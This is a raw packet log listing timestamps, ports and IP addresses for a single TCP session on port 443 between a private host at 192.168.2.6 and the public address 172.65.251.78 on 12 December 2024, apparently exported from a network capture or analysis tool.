Dec 12, 2024 12:59:35.773834944 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.773895979 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.773895979 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.773902893 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.778506041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.778527975 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.778620005 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.778620005 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.778626919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.784518003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.784537077 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.784621954 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.784631014 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.790586948 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.790602922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.790671110 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.790676117 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.790699005 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.796303034 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.796327114 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.796421051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.796421051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.796427965 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.802535057 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.802550077 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.802676916 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.802684069 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.807590008 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.807605982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.807688951 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.807703018 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.807744980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.852797985 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.959110975 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.959120989 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.959147930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.959176064 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.959197998 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.959208965 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.959248066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.959248066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.965301037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.965317965 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.965401888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.965403080 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.965409994 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.965462923 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.971066952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.971084118 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.971172094 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.971172094 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.971179008 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.971252918 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.447645903 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.447658062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.447700024 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.447725058 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.447746992 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.447793961 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.447793961 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.448365927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.448379993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.448445082 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.448451042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.448565006 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.449343920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.449357033 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.449398041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.449409962 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.449501038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.451225042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.451237917 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.451333046 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.451342106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.451431036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.452018976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.452048063 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.452074051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.452086926 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.452119112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.452119112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.461554050 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.461572886 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.461643934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.461649895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.461812019 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.462321043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.462332964 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.462382078 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.462388039 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.462423086 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.463582039 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.463597059 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.463670015 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.463680029 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.463749886 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.465043068 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.465055943 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.465110064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.465121984 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.465224028 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.466408014 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.466420889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.466471910 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.466485023 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.466599941 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.467552900 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.467566967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.467633009 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.467638969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.467719078 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.468240976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.468262911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.468301058 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.468305111 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.468338013 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.468338013 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.469361067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.469374895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.469449997 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.469455004 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.469532967 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.476115942 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.476135969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.476206064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.476206064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.476216078 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.476327896 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.476897955 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.476912975 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.476959944 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.476975918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.477082968 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.478027105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.478045940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.478205919 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.478213072 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.478974104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.478995085 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.479032040 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.479032040 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.479038000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.479084015 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.479084015 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.480231047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.480245113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.480302095 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.480319023 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.480463028 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.482211113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.482225895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.482275009 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.482290983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.482394934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.484107971 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.484121084 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.484169006 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.484183073 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.484508038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.486879110 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.486893892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.486943007 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.486957073 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.487224102 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.569245100 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.569271088 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.569324017 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.569343090 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.569377899 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.569377899 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.575412035 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.575433016 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.575520039 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.575532913 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.575603008 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.580550909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.580574036 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.580629110 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.580641031 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.580677032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.580677032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.586502075 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.586532116 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.586600065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.586600065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.586611032 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.586653948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.592752934 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.592823029 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.592866898 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.592881918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.592920065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.592920065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.598104000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.598150015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.598201036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.598217964 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.598237991 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.598298073 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.604052067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.604109049 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.604135990 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.604157925 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.604196072 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.604196072 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.610110044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.610162020 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.610232115 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.610232115 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.610240936 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.610321045 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.729285955 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.729351044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.729415894 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.729438066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.729456902 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.729634047 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.734558105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.734611988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.734668016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.734668016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.734675884 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.734857082 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.738940001 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.738990068 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.739042044 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.739042044 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.739052057 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.745325089 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.745377064 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.745474100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.745474100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.745484114 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.751559019 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.751605988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.751653910 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.751676083 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.751691103 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.756608009 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.756652117 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.756688118 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.756726027 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.756738901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.762752056 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.762795925 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.762836933 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.762849092 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.762876034 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.767872095 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.767915964 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.767956018 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.767986059 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.767998934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.821547985 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.920166969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.920200109 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.920239925 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.920248032 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.920265913 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.920279980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.920296907 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.920303106 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.920336962 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.926089048 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.926141024 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.926168919 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.926178932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.926215887 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.926225901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.931391001 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.931437969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.931456089 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.931463957 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.931590080 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.931590080 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.937557936 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.937618017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.937643051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.937664986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.937676907 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.937697887 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.943814039 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.943871021 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.943909883 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.943944931 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.943960905 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.947947979 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.949374914 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.949423075 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.949457884 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.949467897 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.949476957 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.949510098 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.951005936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.955106020 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.955151081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.955183029 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.955190897 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.955208063 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.955225945 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.960510969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.960556030 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.960572958 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.960578918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:36.960604906 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:36.960617065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.111994982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.112066984 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.112103939 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.112118006 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.112145901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.112158060 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.117978096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.118022919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.118057966 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.118065119 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.118097067 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.118109941 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.124528885 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.124577999 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.124613047 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.124627113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.124655008 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.124674082 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.129317999 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.129364014 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.129401922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.129414082 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.129456043 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.129473925 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.135835886 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.135906935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.135930061 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.135936022 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.135965109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.135982990 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.141086102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.141115904 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.141155958 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.141160965 CET	443	49878	172.65.251.78	192.168.2.6
